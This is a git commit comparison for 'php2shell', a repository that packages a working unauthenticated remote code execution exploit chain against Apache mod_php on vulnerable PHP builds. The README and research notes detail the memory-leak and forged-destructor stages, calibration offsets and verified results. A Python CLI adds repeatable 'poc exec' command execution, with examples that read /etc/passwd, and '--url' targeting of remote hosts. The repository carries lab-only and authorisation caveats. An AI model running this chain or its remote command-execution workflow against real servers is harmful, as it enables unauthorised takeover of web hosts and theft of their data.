Compare commits

10 Commits
Author SHA1 Message Date
ZSecurity e8f00033aa docs: point clone url at git.linuxhackingid.com
ci / macos-latest / py3.9 (push) Canceled after 0s
ci / macos-latest / py3.12 (push) Canceled after 0s
ci / ubuntu-latest / py3.9 (push) Canceled after 0s
ci / ubuntu-latest / py3.12 (push) Canceled after 0s
ci / windows-latest / py3.9 (push) Canceled after 0s
ci / windows-latest / py3.12 (push) Canceled after 0s
2026-10-24 14:11:14 +07:00
ZSecurity c8cc5464ab docs: real clone url 2026-10-24 14:07:19 +07:00
ZSecurity a1ff9d5c8c chore: github packaging - license, ci matrix, platform docs, research provenance 2026-10-24 14:07:07 +07:00
ZSecurity 7f969e47f0 chore: attribute to ZSecurity / Linuxhackingid 2026-10-24 14:07:07 +07:00
ZSecurity fd0227d68d feat(cli): poc exec for repeatable command execution; document one-shot primitive and connection semantics 2026-10-24 14:07:07 +07:00
ZSecurity e6e2da6cec feat(cli): split lab lifecycle from exploitation, add --url/--path targets, socket readiness probe 2026-10-24 14:07:07 +07:00
ZSecurity 476b3d2078 refactor(lab): drive docker from python so the cli works on windows and posix without bash 2026-10-24 14:07:06 +07:00
ZSecurity 8366583c43 fix(cli): resolve git-bash for the lab entry point on windows 2026-10-24 14:07:06 +07:00
ZSecurity ccace1e510 feat(poc): cli, profile-driven chain, patched-build negative control, README 2026-10-24 14:07:06 +07:00
ZSecurity ab3e75fa69 feat(poc): forge primitives and leak parser with alignment-gated anchor selection 2026-10-24 14:07:06 +07:00
24 changed files with 1674 additions and 259 deletions
+31
View File
@@ -0,0 +1,31 @@
name: ci
on:
push:
branches: [main]
pull_request:
jobs:
test:
name: ${{ matrix.os }} / py${{ matrix.python }}
runs-on: ${{ matrix.os }}
strategy:
fail-fast: false
matrix:
os: [ubuntu-latest, windows-latest, macos-latest]
python: ["3.9", "3.12"]
steps:
- uses: actions/checkout@v4
- uses: actions/setup-python@v5
with:
python-version: ${{ matrix.python }}
- name: unit tests
run: python -m unittest discover -s tests -t .
- name: offline selftest
run: python -m poc selftest
- name: dry-run (no network, no docker)
run: python -m poc exploit --dry-run
+3
View File
@@ -1,6 +1,9 @@
out/
__pycache__/
*.pyc
.DS_Store
.idea/
.vscode/
research/upstream/
research/captures/*.resp
research/captures/*.bin
+21
View File
@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2026 ZSecurity (Linuxhackingid)
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+116 -10
View File
@@ -137,20 +137,25 @@ B2 = 384-byte fake-reference spray (500 before, 495 after) carrying a fake `zend
## 8. Calibration record
Captured 2026-10-24 from `lab/status.sh` on the running target.
| field | value |
|---|---|
| image | php:8.4.26-apache |
| amd64 manifest digest | sha256:b0ae0e0d4a3b7f0e800017482752b94f58ab049f2d7fcd108e5452afce3f50d1 (pre-pull, Docker Hub tag query) |
| image id | |
| image id / config digest | 60111400ff77 (matches the digest recorded in the upstream offsets note) |
| libphp.so path | /usr/lib/apache2/modules/libphp.so |
| libphp.so sha256 | |
| php version / build date | |
| apache version | |
| profile selected | |
| zval_ptr_dtor offset | |
| zif_system offset | |
| main_bucket_count | |
| delta range | |
| libphp.so sha256 | `51663cf883b1223436d4c99f31dd0225735ea5573665e4242621eee7f4ee679c` — **matches profile** |
| php version / build date | 8.4.26 NTS (mod_php), built Oct 21 2026 00:31:19 |
| apache version | Apache/2.4.69 (Debian), prefork pinned to 1 child |
| profile selected | `php-8.4.26-apache-trixie-amd64` |
| ini | display_errors=Off, memory_limit=128M, post_max_size=8M, output_buffering=0, max_file_uploads=20, max_input_vars=1000, session.upload_progress.enabled=On, save_handler=files, serialize_handler=php |
| zval_ptr_dtor offset | 0x65EB60 (to be confirmed by `poc offsets` in T6) |
| zif_system offset | 0x465370 (same) |
| main_bucket_count | 87 |
| delta range | 0x1A00000–0x1F00000 |
Result: the pulled image is byte-identical to the build the published offsets were derived
from, so no recalibration branch was needed.
Published reference profile for comparison (from the upstream offsets note):
@@ -173,3 +178,104 @@ Published reference profile for comparison (from the upstream offsets note):
Local Docker lab only. No remote hosts, no scanning, no Shodan/Censys. The artifact is a research
harness, not a scanner.
## 10. Host-specific finding — the pointer window must not be hardcoded to `0x7f`
The reference chain filters leak-window qwords to `0x7F0000000000 ≤ q ≤ 0x7FFFFFFFFFFF`. On this
host that filter rejected every real pointer and the control run failed with
"no heap pointers in leak window". Captured offsets observed across four container starts:
`0x7327…`, `0x7899…`, `0x7d27…` — all below `0x7f`.
The captured window was intact, just mis-filtered. Re-classifying the same 819 208 decoded bytes
over canonical user space (`2^36 … 2^47−1`) reproduced the documented fingerprints exactly:
| cluster | count | meaning |
|---|---|---|
| `0x7d27f67aab60` | 1095 | `zval_ptr_dtor` → `libphp = value − 0x65EB60` = `0x7d27f614c000` (page-aligned) |
| `0x7d27f3e00000` | 7495 | id chunk |
| `0x7d27f4400000` | 87 | main chunk |
| `0x7d27f3c00000` | 79 | neighbour chunk |
| libphp − main | `0x1D4C000` | inside the documented `0x1A00000–0x1F00000` window |
Two consequences for the rebuild:
1. Widen the window to canonical user space; never assume `0x7f`.
2. Widening admits false positives. The window's **most common** in-range qword is
`0x0000001600000001` (1282×) — a `zend_string` header (`rc=1`, `type_info=0x16`), which
outnumbers `zval_ptr_dtor` (1095×). A "most common qword" heuristic therefore picks the wrong
value once the `0x7f` filter is removed. The parser instead requires
`(candidate − dtor_offset) % 0x1000 == 0` and a count quorum, then validates
`libphp − main` against the profile window.
Verification of the diagnosis: the reference chain, copied to `research/control/` with **only**
that one literal widened and nothing else changed, produced
`uid=33(www-data) gid=33(www-data) groups=33(www-data)` on the first attempt. That is the
control test's value — it separates "my rebuild is broken" from "the reference's assumption does
not hold in this environment".
## 11. Portability — never shell out to `bash` from the CLI
On Windows, `bash` is ambiguous. Python's `shutil.which("bash")` and `CreateProcess` disagree:
the former searches `PATH`, the latter searches the application directory, then the working
directory, then `System32` — so from a stock PowerShell `PATH`, `bash` resolves to
`C:\Windows\System32\bash.exe`, which is **WSL** and cannot open `C:/Users/...` paths. The failure
surfaces as `/bin/bash: C:/…/lab/up.sh: No such file or directory` for a file that plainly exists.
The same code worked from git-bash purely because git-bash's `PATH` put its own `usr/bin` first.
Rule: the CLI must not depend on a shell existing or on which one wins. `poc/lab.py` calls the
Docker CLI directly with an argument vector (no shell string, no `bash`), so the identical
`python -m poc lab` works from PowerShell, cmd, git-bash, zsh, and bash. Consequences that are
easy to get wrong:
- **Volume paths are OS-specific.** Windows needs `C:/Users/...` (forward slashes, drive letter);
POSIX needs the path unchanged. `host_path()` converts separators only — it deliberately does
not call `os.path.abspath`, because that maps `/srv/x` to `C:\srv\x` on Windows.
- **`os.path.join` is host-dependent**, so it is correct to use it with a host root and wrong to
use it with a foreign-style root in tests.
- **The container entrypoint must not contain `CRLF`.** `INIT` is passed as one argv element to
`/bin/sh -c`; a stray `\r` breaks it inside the container. There is a unit test for this.
- The `lab/*.sh` files are thin shims (`exec python -m poc …`), so there is one implementation
rather than a shell copy and a Python copy that drift apart.
## 12. Readiness probe — socket, not `urllib`
`docker run -d` returns before the port is forwarded. The first version of the readiness wait used
`urllib.request.urlopen("http://127.0.0.1:<port>/index.php")` and intermittently polled for
**4 minutes** before giving up, while a plain `socket.create_connection` reached the same port
0.5 s after `docker run`. There is no proxy in the environment (`getproxies()` is empty), so the
difference is `urllib`'s own machinery. The probe is now a raw socket GET whose read loop stops at
the header terminator, with `attempts=120, delay=0.25, timeout=1.0` and a 200-status check.
Two rules that follow:
- Anything the exploit path does to the target should go through the same raw-socket layer the
chain uses; mixing an HTTP client library into the control plane adds failure modes that look
like "the target is broken".
- A readiness loop must be tested against a real local listener (`tests/test_lab_ready.py` runs a
throwaway socket server and asserts 200 → body, non-200 → None, closed port → fast None).
## 13. The RCE primitive is one-shot, and connection state is irrelevant
The payload lands as `pDestructor = zif_system` on a forged `zend_array`, invoked by
`zend_hash_destroy` while the request shuts down. Consequences that decide what "persistence"
can mean:
- It executes **once per request**, inside the worker, synchronously. `system()` blocks the child
until the command exits, so no background process is created unless the command itself forks one.
- There is no output channel: `system()` writes to the worker's stdout, which for mod_php under
Apache ends up in the error log, not the HTTP response. Anything you want to read must be written
to a path you can observe — here the `/out` bind mount.
- The forged array is consumed by the destroy pass, so a second command needs a fresh
A1 → B1 → A2 → B2 cycle (~2 s). There is no session to resume.
- **`Connection: close` on every request is fine.** Cross-request state that matters is the
*worker process* (globals + heap), not the TCP connection. Keep-alive buys nothing; landing on a
different child loses everything.
Measured: five sequential cycles on one worker completed 5/5 with no retries, and a counter file
in `/out` incremented 1→5. So repeated exploitation does not by itself kill the worker; the leak-only
stage does leave it in a bad state, which is why `poc leak` followed immediately by `poc exploit`
can need one retry.
+324
View File
@@ -0,0 +1,324 @@
# php2shell — PoC for CVE-2026-109618 + CVE-2026-109619
Unauthenticated remote code execution against **Apache mod_php** running a vulnerable PHP,
using only HTTP multipart requests, with no application code required and no `session_start()`
in the target page.
```
$ ./lab/up.sh
target: OK
$ python -m poc exploit
php2shell poc 0.1.0 | ZSecurity | Linuxhackingid
[1/4] A1 oom status=HTTP/1.0 500 Internal Server Error
[2/4] B1 leak decoded=819208 libphp=0x78991f26f000 main=0x78991d600000 count=87
[3/4] A2 oom status=HTTP/1.0 500 Internal Server Error
[4/4] B2 forge S=0x78991d6f8398 zif_system=0x78991f6d4370 status=
RCE OK; proof /…/out/p1:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
`__author__` ZSecurity · `__org__` Linuxhackingid · v0.1.0
---
## Scope and authorisation
Local Docker lab only. Every connection goes to a container started by `lab/up.sh` on
`127.0.0.1`. This is a reproduction harness plus a staged verification of two published PHP
core bugs — not a scanner, not a payload delivery tool. Do not point it at a host you do not
own or have written authorisation to test.
## The vulnerabilities
| | CVE-2026-109618 | CVE-2026-109619 |
|---|---|---|
| Title | RCE via OOM corruption | RCE via stale global state |
| Fixed in | 8.2.35, 8.3.36, 8.4.27, 8.5.12 | same |
| Weakness | OOM `longjmp()` abandons a request with request memory reachable but uninitialised; shutdown then reads/branches on it | worker-retained globals point into a freed request heap; a later request consumes the stale value before RINIT resets it |
| Confirmed SAPI | Apache mod_php (shutdown runs even when startup failed) | mod_php; session-lifecycle path also validated on FPM per the advisory |
Vendor advisories: [GHSA-w8hw-w9fx-j79w](https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w),
[GHSA-6wmf-4rv5-p3rp](https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp).
Version ranges above are read from NVD `cpeMatch.versionEndExcluding`, not from blog prose.
Grounding notes, including every source URL and the raw mechanism text, are in
[NOTES.md](NOTES.md).
## What this PoC implements — and what it does not
Four primitives were published under these two CVEs. This PoC implements **two** of them plus
the OOM producer:
| Primitive | Implemented |
|---|---|
| Upload-progress unserializer state (`BG(unserialize)`) → controlled corruption | yes (A2/B2) |
| Remote process-memory disclosure via stale `PS(id)` in a `PHPSESSID` cookie | yes (A1/B1) |
| OOM producer via multipart without a usable `Content-Length` | yes (A1, A2) |
| `EG(last_fatal_error_backtrace)` UAF (PHP 8.5, needs `fatal_error_backtraces`) | **no** |
| OPcache `CG(map_ptr_last)` cross-worker type confusion | **no** |
Not validated here: FPM, FrankenPHP, LSAPI. The advisory documents FPM as susceptible by source
analysis with no complete exploit demonstrated; that remains true of this artifact.
### Stage → CVE mapping
The vendor does not label which primitive belongs to which CVE. This mapping is **analytical**,
not a citation:
| Stage | Role | CVE |
|---|---|---|
| A1 — multipart OOM at END cleanup | producer: leaves dangling `PS(id)` / `PS(mod_data)`, `send_cookie=1` | 109618 |
| B1 — second request URL-encodes the stale `PS(id)` | consumer: 800 KB memory disclosure | 109619 |
| A2 — cheap OOM over nested fields | producer: leaves dangling `PS(hash_serialize_verifier)` | 109618 |
| B2 — fake `zend_reference` → fake `zend_array` | consumer: `zend_hash_destroy` calls `pDestructor = zif_system` | 109619 |
## Install
```bash
git clone https://git.linuxhackingid.com/linuxhackingid/php2shell-cve-2026-109618-109619.git
cd php2shell-cve-2026-109618-109619
python -m unittest discover -s tests -t . # 63 pass, 4 skip (need the target binary)
```
Nothing to `pip install`. The two tests that need the target's `libphp.so` skip themselves on a
fresh clone — see [research/README.md](research/README.md) to enable them.
## Requirements
- Docker with a Linux engine, x86_64 (the target image is `linux/amd64`)
- Python 3.9+ — standard library only, no third-party packages
- No shell required: the CLI talks to the Docker CLI directly, so it behaves identically from
PowerShell, cmd, git-bash, zsh, and bash. The `lab/*.sh` files are conveniences that wrap the
same Python entry points.
### Platform support
| OS | Status | How it was checked |
|---|---|---|
| Windows 11 | works | PowerShell + git-bash, stock `PATH` where `bash` resolves to WSL; full chain `uid=33(www-data)` |
| Linux x86_64 | works | Python 3.9 and 3.13 containers: 67/67 unit tests, plus the full chain executed from a Linux client against the lab over a Docker network (`uid=33(www-data)`) |
| macOS | expected to work, **not executed here** | no macOS host available; the CI matrix (`.github/workflows/ci.yml`) runs the unit tests and offline selftest on `macos-latest`, and the code has no Windows-only branches except the separator normalisation in `poc/lab.py` |
Verified interpreter versions: 3.9.25, 3.13, 3.14.7.
## Quickstart
Windows (PowerShell) and Linux/macOS are the same commands:
```powershell
python -m poc lab # bring the target up, check it, run the chain
cat out\p1 # uid=33(www-data)
```
```bash
python -m poc lab
cat out/p1
```
Step by step, if you want to see each stage:
```bash
./lab/up.sh # or: python -m poc lab up
python -m poc check # version, ini, libphp hash, profile, worker count
python -m poc leak # A1 + B1 only: the disclosure
python -m poc exploit # A1 -> B1 -> A2 -> B2 -> proof file
python -m poc status # or: python -m poc lab status
./lab/down.sh # or: python -m poc lab down
```
The lab and the exploit are deliberately separate commands: `poc lab` only manages the
container, `poc check` only reads the target's configuration, and `poc exploit` only sends the
chain. Nothing is chained implicitly, so you can point `poc exploit` at a target someone else
started. `poc exploit` refuses to run when nothing is listening and tells you to start a lab.
## CLI
| Command | Purpose |
|---|---|
| `poc lab [up\|down\|status]` | container lifecycle only — no exploitation. `up` (default) recreates the target and waits until it answers; `down` removes it; `status` dumps diagnostics. `--image`, `--name`, `--port`, `--net` override the target |
| `poc check` | preflight: php version + vulnerable/patched verdict, nine ini values, `libphp.so` sha256 → profile, worker count. Exit 1 when the target is patched or the build is unknown. Sends no exploit traffic. |
| `poc status` | container diagnostics: php/apache version, the nine ini values, libphp sha256, worker count |
| `poc offsets --lib PATH` | derive `zval_ptr_dtor`, `zif_system`, `zif_passthru` from an ELF `.symtab`/`.dynsym` |
| `poc leak` | A1 + B1 only: produce and classify the disclosure cookie (`--save` keeps the raw response) |
| `poc exec --cmd CMD` | full chain with CMD wrapped so its output returns to you via `/out/.poc-exec`; prints the output, returns its exit code |
| `poc exploit` | full chain; `--dry-run` forges and hashes all four bodies without touching the network; `--retries N`; `--cmd`; `--proof` |
| `poc selftest` | offline: build all four bodies, check sizes and layout invariants |
All commands accept `--host --port --name --profile --workers --json`. `--workers N` occupies
`N-1` prefork children so the four chain requests land on the same worker.
`IMAGE`, `NAME`, `PORT`, and `NET` environment variables are honoured by `poc lab` (so the shell
wrappers keep the old `IMAGE=… NAME=… ./lab/up.sh` idiom working), and the equivalent flags
(`--image --name --port --net`) are the portable form.
## Targeting a URL or a remote host
`poc exploit` and `poc leak` accept a URL instead of host/port:
```bash
python -m poc exploit --url http://127.0.0.1:18110
python -m poc exploit --url http://10.0.0.5:8080/app/index.php
python -m poc leak --url http://lab.internal --save leak.resp
```
`--url` fills in host, port (default 80) and the request path (default `/index.php`); `--host`,
`--port` and `--path` override it. **`http://` only** — the wire layer speaks raw HTTP on a
socket, so TLS is refused rather than silently downgraded.
Only point this at a host you own or have written authorisation to test. There is no scanning,
no target list, no threading: one URL, one chain, and the proof lands in the mounted `out/`
directory, so a remote target needs a way for you to read that file (or `--cmd` with an
out-of-band effect you can observe).
A URL is not sufficient on its own for the chain to work. The technical preconditions are:
- **Apache mod_php.** The vulnerability's confirmed path depends on mod_php running request
shutdown even when startup failed. FPM, FrankenPHP and LSAPI are not covered here.
- **All four requests must hit the same prefork child.** Behind a load balancer, a CDN, or a
multi-worker pool without pinning, the dangling pointers do not survive. Locally `--workers`
occupies `N-1` children; you cannot do that to someone else's server, so target pools must be
small (ideally one worker) or the chain has to be retried a lot.
- **The build must match a profile.** `s_delta`, `hsv_delta`, the destructor offset and the
fingerprint counts are per-`libphp.so`. `poc check` and `poc status` work by `docker exec`, so
they only apply to the local container — for a remote host, obtain its `libphp.so`, verify the
SHA-256, run `python -m poc offsets --lib <file>` and add a profile keyed by that hash before
expecting the write primitive to land.
- **Default input limits.** `memory_limit=128M`, `post_max_size=8M`, `output_buffering=0` and
`session.upload_progress.enabled=On` are what the OOM stages were calibrated against.
In other words: a URL is convenient for your own lab published on a LAN or in a cloud network,
not a general-purpose remote exploit.
## "Persistence" — two different questions
**1. Connection persistence: not needed, and not used.** Every request is its own TCP connection
with `Connection: close`, chunked only where the body must bypass `post_max_size`. What has to
"persist" across A1 → B1 → A2 → B2 is the **worker process**, not the socket: `PS(id)` and
`PS(hash_serialize_verifier)` live in the child's globals and the heap layout is per-process. That
is why `--workers` exists — it occupies `N-1` prefork children so the four requests land on the
same one. A keep-alive connection would not help; a different child breaks the chain.
**2. Session persistence after RCE: there is none, by design of the primitive.** The payload is
`system()` reached as a `pDestructor` from `zend_hash_destroy` during request shutdown. That means:
- it fires **once per request**, synchronously, and blocks the worker until the command returns;
- there is **no stdin and no stdout** — output only exists if the command writes it somewhere
(which is why the proof goes to the mounted `/out`);
- the forged array is consumed at shutdown, so a second command needs the **whole chain again**
(~2 s per command), not a resumed session.
`poc exec` makes that cycle convenient — it wraps your command so stdout/stderr land in
`/out/.poc-exec`, runs the chain with retries, prints the output back, and returns a real exit code:
```bash
python -m poc exec --cmd 'id; hostname; uname -sr'
python -m poc exec --cmd 'ls -la /var/www/html'
python -m poc exec --cmd 'cat /etc/passwd | head -3'
```
Measured on this lab: **5 sequential `poc exec` cycles on the same worker, 5/5 exit 0, zero
retries**, with a counter file in `/out` incrementing 1→5 — so the worker survives repeated
cycles; what does not exist is a shared session. Anything that must survive between commands has
to be written to disk (`/out`) rather than held in memory.
For commands longer than the 200-byte carrier limit, write a script into `out/` and run
`python -m poc exec --cmd 'sh</out/c'`.
**Deliberately not shipped:** an interactive shell, a backdoor, auto-reconnect, or a dropper.
A persistent channel would be a listener inside the container plus a published port (lab-only, and
we control `docker run`), or a polling loop over the mounted volume — both are implant mechanics
rather than proof-of-concept mechanics, and they are out of scope for this artifact. If you need
one for an exercise, build it yourself against a target you own; the primitive here gives you
arbitrary `system()` and nothing else.
## Status — what was verified, and how
Every row below is a command that was actually run in this environment, with its own artifact.
| Stage | Command | Observed |
|---|---|---|
| Lab build identity | `python -m poc check` | PHP 8.4.26 NTS, `libphp.so` sha256 `51663cf8…f4ee679c` = profile; Apache 2.4.69; `memory_limit=128M`, `post_max_size=8M`, `display_errors=Off`, `session.upload_progress.enabled=On`; 1 worker |
| Symbol offsets | `python -m poc offsets --lib research/libphp.so` | `zval_ptr_dtor=0x65eb60`, `zif_system=0x465370` — matches the profile |
| Offline suite | `python -m unittest discover -s tests -t .` | 67 tests, all pass, 0 skipped |
| Body parity | `tests/test_bodies_parity.py` | A1/A2/B1 SHA-256 identical to the reference generators (`8e8fc166…`, `7af66c8f…`, `b6c547e0…`) |
| Stage 1–2 (disclosure) | `python -m poc leak` | A1 → 500; B1 → 200 with an 819 208-byte decoded cookie; `zval_ptr_dtor` ×1095; `libphp − main` in range; main-chunk fingerprint count 87 |
| Stage 3–4 (RCE) | `python -m poc exploit` | `[4/4] … RCE OK`, `out/p1` contains `uid=33(www-data) gid=33(www-data) groups=33(www-data)`; exit 0 |
| Reproducibility | 3 fresh containers, one run each | 3/3 `uid=33(www-data)` |
| Repeat commands | 5 sequential `poc exec` cycles, same worker | 5/5 exit 0, 0 retries, counter in `/out` reached 5 |
| Linux (unit) | `python -m unittest` inside `python:3.9-slim` and `python:3.13-slim` | 67/67 OK on both |
| Linux (chain) | `python -m poc exec --url http://p2s-lab/index.php` from a `python:3.9-slim` container on the lab network | `uid=33(www-data)` |
| Windows shell independence | `python -m poc lab up` + `python -m poc exploit` from PowerShell with a stock `PATH` where `bash` resolves to `C:\Windows\System32\bash.exe` (WSL) | exit 0, proof written — the CLI never invokes a shell, so WSL-vs-git-bash resolution cannot break it |
| Specificity | `poc lab up --image php:8.4.27-apache` then `poc check` / `poc exploit` | `check` → `8.4.27 patched`, `NOT READY`, exit 1; `exploit` → A1 returns 200 (no OOM abort), B1 yields no pointers, exit 1, and **no proof file is created** |
| Reference control | unchanged reference chain against this lab | same proof — confirms the lab build is the one the published offsets describe |
The last two rows are the ones that matter for honesty: the chain works on 8.4.26 and does not
work on 8.4.27, so it is exercising the patched condition rather than a lab misconfiguration.
## How it works
Four requests, all served by the same prefork child, in order. Each request is a multipart body
built byte-for-byte by `poc/bodies.py` / `poc/forge.py`:
1. **A1** — chunked multipart with no `Content-Length`, so the `post_max_size` check is skipped;
860 depth-64 nested empty-file fields plus fillers burn the 128 MB `memory_limit` inside the
multipart parser. The OOM bailout leaves `PS(id)` dangling with `send_cookie=1`.
2. **B1** — a second multipart request whose values re-fill the freed chunk with a forged
`zend_string` header (`len=0xC8000`) at the address `PS(id)` still points to. Shutdown
URL-encodes 800 KB of worker memory into the `PHPSESSID` response cookie. The window contains
a repeating `zval_ptr_dtor` pointer (→ `libphp` base) and a 2 MiB-aligned chunk with exactly
87 pointers (→ main chunk base). A `libphp − main` range check discards bad leaks.
3. **A2** — 880 nested fields plus short fillers; a cheap OOM leaves
`PS(hash_serialize_verifier)` pointing into the heap.
4. **B2** — a 384-byte spray of fake `zend_reference` values rewrites that pointer to a forged
`zend_array` at `main + 0xF8398` whose `pDestructor` is `zif_system`; request shutdown calls
`zend_hash_destroy` on it and executes the command.
Calibration constants are not in the code paths — they live in `poc/profiles.py`, keyed by the
target's `libphp.so` SHA-256.
## Calibration model and caveats
- **Offsets are per-build.** `dtor_offset`, `zif_offset`, `s_delta`, `hsv_delta`,
`main_bucket_count`, and the delta window are valid only for the `libphp.so` whose SHA-256 keys
the profile. `poc check` refuses to call the target ready when the hash has no profile.
- **The pointer window is canonical user space, not `0x7f`.** A published reference chain filters
candidate pointers to `≥ 0x7F0000000000`. On this host the container's mmap base lands at
`0x73…`/`0x78…`/`0x7d…`, so that filter discards the real leak and the chain fails with
"no heap pointers". This PoC accepts `2^36 … 2^47−1` and instead gates candidate destructor
anchors on *page alignment of the derived base* plus a quorum. That gate is load-bearing: the
window's most common in-range qword is a `zend_string` header (`0x1600000001`, 1282×), which
outnumbers `zval_ptr_dtor` (1095×) and would win a naive "most common" pick.
- **Re-leak, don't re-forge.** A bad base recovery means the A1/B1 pair is redone, never A2/B2:
the worker's addresses are already poisoned once A2 runs.
- **Command length is capped** at 200 bytes by the 384-byte carrier (`0x160 − 0x98`). For longer
payloads, write a script into the mounted `out/` directory and run `sh</out/c`.
## Repository layout
```
lab/ docker target (rootfs files + thin shims that call the Python entry points)
poc/ profiles · elf · wire · bodies · forge · leak · lab · cli
tests/ 32 unit tests; golden body hashes live in tests/golden/bodies.json
research/ reference clone (gitignored), captures, and the diagnostics used to calibrate
```
`research/upstream/` is a read-only clone of the public reference chain, used once as a control
test and to generate the golden body hashes. Nothing in `poc/` imports it.
## Attribution
PoC, harness and calibration: **ZSecurity — Linuxhackingid** (`__author__` / `__org__` in
`poc/__init__.py`, and the banner every command prints).
Primitive discovery and public analysis: Wiz Research ("PHP2Shell"), the PHP security team
(Jakub Zelenka), and the authors of the public reference chain used for control testing and
golden-hash generation. This repository is an independent rebuild of those published primitives
with a profile-driven calibration model, a staged verifier, and a patched-build negative control;
the wire bodies are reimplemented and proven byte-identical rather than vendored.
## License
MIT — see [LICENSE](LICENSE). Copyright (c) 2026 ZSecurity (Linuxhackingid).
The research this artifact reproduces is not covered by that licence; cite the vendor advisory
and the original researchers listed above.
Regular → Executable
+7 -2
View File
@@ -1,4 +1,9 @@
#!/usr/bin/env bash
set -eu
docker rm -f "${NAME:-p2s-lab}" >/dev/null 2>&1 || true
echo "down"
HERE=$(cd "$(dirname "$0")" && pwd)
cd "$HERE/.."
PY=${PYTHON:-}
if [ -z "$PY" ]; then
if command -v python >/dev/null 2>&1; then PY=python; else PY=python3; fi
fi
exec "$PY" -m poc lab down "$@"
Regular → Executable
+7 -7
View File
@@ -1,9 +1,9 @@
#!/usr/bin/env bash
set -eu
NAME=${NAME:-p2s-lab}
docker exec "$NAME" php -v | head -1
docker exec "$NAME" php -i 2>/dev/null | grep -E '^(display_errors|memory_limit|post_max_size|output_buffering|max_file_uploads|max_input_vars|session.upload_progress.enabled|session.save_handler|session.serialize_handler)'
docker exec "$NAME" sha256sum /usr/lib/apache2/modules/libphp.so
docker exec "$NAME" apache2 -v | head -1
docker exec "$NAME" sh -c "grep -v '^#' /etc/apache2/conf-enabled/zz-p2s.conf | grep -v '^$'"
docker exec "$NAME" sh -c 'pgrep -c apache2'
HERE=$(cd "$(dirname "$0")" && pwd)
cd "$HERE/.."
PY=${PYTHON:-}
if [ -z "$PY" ]; then
if command -v python >/dev/null 2>&1; then PY=python; else PY=python3; fi
fi
exec "$PY" -m poc lab status "$@"
Regular → Executable
+6 -32
View File
@@ -1,35 +1,9 @@
#!/usr/bin/env bash
set -eu
HERE=$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd -W)
ROOT=$(cd "$HERE/.." && pwd -W)
IMAGE=${IMAGE:-php:8.4.26-apache}
NAME=${NAME:-p2s-lab}
PORT=${PORT:-18110}
NET=${NET:-}
docker rm -f "$NAME" >/dev/null 2>&1 || true
mkdir -p "$ROOT/out"
NETARG=""
if [ -n "$NET" ]; then
docker network create "$NET" >/dev/null 2>&1 || true
NETARG="--network $NET"
HERE=$(cd "$(dirname "$0")" && pwd)
cd "$HERE/.."
PY=${PYTHON:-}
if [ -z "$PY" ]; then
if command -v python >/dev/null 2>&1; then PY=python; else PY=python3; fi
fi
# shellcheck disable=SC2086
docker run -d --name "$NAME" $NETARG \
-p "127.0.0.1:$PORT:80" \
-v "$HERE/index.php:/var/www/html/index.php:ro" \
-v "$HERE/apache-single-worker.conf:/etc/apache2/conf-enabled/zz-p2s.conf:ro" \
-v "$ROOT/out:/out" \
"$IMAGE" /bin/sh -c 'cp /usr/local/etc/php/php.ini-production /usr/local/etc/php/php.ini
chown -R www-data:www-data /out 2>/dev/null || true
exec apache2-foreground' >/dev/null
for _ in $(seq 1 60); do
if curl -s -m 2 "http://127.0.0.1:$PORT/index.php" >/dev/null 2>&1; then
break
fi
sleep 0.5
done
echo "target: $(curl -s -m 3 "http://127.0.0.1:$PORT/index.php")"
exec "$PY" -m poc lab up "$@"
+2 -2
View File
@@ -1,3 +1,3 @@
__author__ = "Hermes Agent"
__org__ = "independent security research"
__author__ = "ZSecurity"
__org__ = "Linuxhackingid"
__version__ = "0.1.0"
+3
View File
@@ -0,0 +1,3 @@
from poc.cli import main
raise SystemExit(main())
+492
View File
@@ -0,0 +1,492 @@
import argparse
import copy
import hashlib
import json
import os
import socket
import subprocess
import sys
import time
import urllib.parse
from poc import bodies, elf, forge, lab, leak, profiles, wire
ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
INVL = {"display_errors", "memory_limit", "post_max_size", "output_buffering",
"max_file_uploads", "max_input_vars", "session.upload_progress.enabled",
"session.save_handler", "session.serialize_handler"}
FIXED = {"8.2": (8, 2, 35), "8.3": (8, 3, 36), "8.4": (8, 4, 27), "8.5": (8, 5, 12)}
VULN_LOW = {"8.2": (7, 3, 0), "8.3": (8, 3, 0), "8.4": (8, 4, 0), "8.5": (8, 5, 0)}
def banner():
import poc
print("php2shell poc %s | %s | %s" % (poc.__version__, poc.__author__, poc.__org__))
def dkr(args, timeout=120):
try:
r = subprocess.run(["docker"] + args, capture_output=True, text=True, timeout=timeout)
except (OSError, subprocess.TimeoutExpired):
return ""
return r.stdout
def parse_version(text):
for tok in text.split():
parts = tok.split(".")
if len(parts) == 3 and all(p.isdigit() for p in parts):
return tuple(int(p) for p in parts)
return None
def version_state(ver):
major = "%d.%d" % ver[:2]
if major not in FIXED:
return "unknown"
if ver >= FIXED[major]:
return "patched"
if ver >= VULN_LOW[major]:
return "vulnerable"
return "unknown"
def cmd_check(args):
name = args.name
vtext = dkr(["exec", name, "php", "-v"])
ver = parse_version(vtext)
info = dkr(["exec", name, "php", "-i"])
ini = {}
for line in info.splitlines():
key, _, val = line.partition("=>")
key = key.strip()
if key in INVL:
ini[key] = val.split("=>")[0].strip()
sha = ""
if ver is not None:
out = dkr(["exec", name, "sha256sum", args.lib_path])
if out.split():
sha = out.split()[0]
prof_name, prof = profiles.select(sha)
